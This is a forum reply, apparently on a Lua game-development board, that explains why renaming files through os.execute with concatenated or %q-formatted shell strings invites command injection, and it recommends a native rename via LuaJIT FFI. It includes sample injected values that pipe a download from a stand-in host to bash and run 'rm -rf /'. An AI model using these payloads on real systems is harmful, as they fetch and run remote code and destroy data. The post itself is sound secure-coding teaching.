Kadoba wrote:In that case, can you explain so I don't make this mistake again?
(unixoid examples only:)
simplified core of that example code:
Code: Select all
os.execute( table.concat( {command, " \"", old, "\" \"", new, "\""} ) )
or (equally bad but more readable):
Code: Select all
os.execute( string.format( [[mv "%s" "%s"]], old, new )
For old='foo', new='bar', the executed command will be 'mv "foo" "bar"', which will work.
For old='foo\', new='bar', the command will be 'mv "foo\" "bar"' and the shell might complain about unmatched quotes – the filenames as understood by mv would be 'foo\" ' and 'bar' (plus the problem with that unmatched quote at the end.)
For old='foo', new='bar$(curl exploit.example.com|bash|:;)"', the executed
commands(!) will be to get
something from exploit.example.com and execute it and then to move "foo" to "bar" (so you don't notice it's broken).
Many variations exist and many problems can be triggered accidentally – there are many special characters that a shell will interpret: $ for variables or even $( ... ) for execution of programs, semicolons, backslashes (which can break your quotes), possibly & and/or % for job control, etc. etc. – and Lua's "%q" format will
NOT escape these. Keep in mind that there are various differences between bash (or whatever shell happens to be in use) and Windows' cmd. And if you forget just a single magic character (or even just escape the wrong character in the wrong way)
and use this with a somehow user-influenced file name, anything can happen.
Now, this shouldn't be
that bad here – the user will usually not attempt to hack itself, running those things directly instead is easier. ;-) The worst that will likely happen is "merely" hard-to-debug / unreproducible errors occuring for some users (whose file names happen to contain special characters). (If your user name is '"eve&rm -rf /;:" or somesuch and you're prefixing the (unescaped) full path to some directory, this might wipe your disk… but of course peoples user names are absolutely always whitespace- and symbol-free. Not.)
However, if that broken function is accessible from otherwise-sandboxed downloadable level packs or somesuch, this can lead to lots of fun and not-so-sandboxed level packs that read your email etc.
TL;DR: Just avoid this can of worms altogether and use a proper rename function. And if you think you can write a proper escaping function, you're probably wrong. (But you'll only find out when it blows up.)
----------
A better way would be to use LuaJIT's FFI to call the system's rename (which might be platform-dependent, no idea how that works on Windows.)
Code: Select all
local ffi = require "ffi"
ffi.cdef [[ int rename( const char * old, const char * new ); ]]
-- now you can call ffi.C.rename, example:
ffi.C.rename( "foo", "bar" ) -- no extra escaping needed
----------
An even better way would be to have a built-in rename so you don't have to worry about platform differences.